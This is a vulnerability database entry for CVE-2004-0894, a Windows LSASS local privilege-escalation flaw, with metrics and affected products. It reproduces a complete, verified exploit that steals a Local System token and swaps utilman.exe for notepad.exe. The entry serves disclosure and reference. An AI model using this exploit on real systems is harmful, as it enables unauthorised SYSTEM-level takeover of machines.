CVE-2004-0894 : Detail

CVE-2004-0894

1.73%V4
Local
2004-12-15
04h00 +00:00
2018-10-12
17h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

LSASS (Local Security Authority Subsystem Service) of Windows 2000 Server and Windows Server 2003 does not properly validate connection information, which allows local users to gain privileges via a specially-designed program.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 749

Publication date : 2005-01-10 23h00 +00:00
Author : Cesar Cerrudo
EDB Verified : Yes

/* Removed #include "stdafx.h" / str0ke */ #include <stdio.h> #include <windows.h> #define INFO_BUFFER_SIZE MAX_COMPUTERNAME_LENGTH + 1 #define PATH_SIZE INFO_BUFFER_SIZE + MAX_PATH + 4 typedef UINT (WINAPI* PFnMsiInstallProduct)(LPCSTR szPackagePath, LPCSTR szCommandLine); int main(int argc, char* argv[]) { HANDLE hToken,hThread; HMODULE hMsi = 0; CHAR infoBuf[INFO_BUFFER_SIZE]; DWORD bufCharCount = INFO_BUFFER_SIZE; CHAR file1[PATH_SIZE]="\\\\"; CHAR file2[PATH_SIZE]="\\\\"; CHAR file3[PATH_SIZE]="\\\\"; //Get name of the computer. GetComputerName(infoBuf, &bufCharCount); hThread=GetCurrentThread(); hMsi = LoadLibrary("msi.dll"); //Invoke windows installer service in order to steal a Local System account identity token. //Curious? some internal LPC magic here, see *1* PFnMsiInstallProduct MsiInstallProduct = 0; MsiInstallProduct = (PFnMsiInstallProduct)GetProcAddress(hMsi, "MsiInstallProductA"); MsiInstallProduct("",""); //Get Local System account identity token and set it to current thread hToken=(void*)0x1; while(SetThreadToken(&hThread,hToken)==NULL){ hToken=(void*)((int)hToken+1); } strcat(file1,infoBuf); strcat(file1,"\\C$\\winnt\\system32\\utilman.exe"); strcat(file2,infoBuf); strcat(file2,"\\C$\\winnt\\system32\\utilmanback.exe"); strcat(file3,infoBuf); strcat(file3,"\\C$\\winnt\\system32\\notepad.exe"); //Replace Utility Manager with Notepad impersonating Local System account //BTW: fuck Windows file protection :) if(!CopyFile(file1,file2, TRUE)) printf("CopyFile() failed: %d\n", GetLastError()); else if(!CopyFile(file3,file1, FALSE)) printf("CopyFile() failed: %d\n", GetLastError()); else { printf("\nPress WinKey+U to run Notepad as Local System\n"); printf("Remember to restore original utilman.exe from utilmanback.exe\n"); } Sleep(5000); return 0; } // milw0rm.com [2005-01-11]

Products Mentioned

Configuraton 0

Microsoft>>Windows_2000 >> Version *

Microsoft>>Windows_2000 >> Version *

Microsoft>>Windows_2000 >> Version *

Microsoft>>Windows_2000 >> Version *

Microsoft>>Windows_2000 >> Version *

Microsoft>>Windows_2003_server >> Version datacenter_64-bit

    Microsoft>>Windows_2003_server >> Version enterprise

      Microsoft>>Windows_2003_server >> Version enterprise

        Microsoft>>Windows_2003_server >> Version enterprise_64-bit

          Microsoft>>Windows_2003_server >> Version enterprise_64-bit

            Microsoft>>Windows_2003_server >> Version r2

              Microsoft>>Windows_2003_server >> Version r2

                Microsoft>>Windows_2003_server >> Version r2

                  Microsoft>>Windows_2003_server >> Version standard

                    Microsoft>>Windows_2003_server >> Version standard

                      Microsoft>>Windows_2003_server >> Version web

                        Microsoft>>Windows_2003_server >> Version web

                          Microsoft>>Windows_xp >> Version *

                            Microsoft>>Windows_xp >> Version *

                            Microsoft>>Windows_xp >> Version *

                            Microsoft>>Windows_xp >> Version *

                            Microsoft>>Windows_xp >> Version *

                              Microsoft>>Windows_xp >> Version *

                              Microsoft>>Windows_xp >> Version *

                              Microsoft>>Windows_xp >> Version *

                              Microsoft>>Windows_xp >> Version *

                              References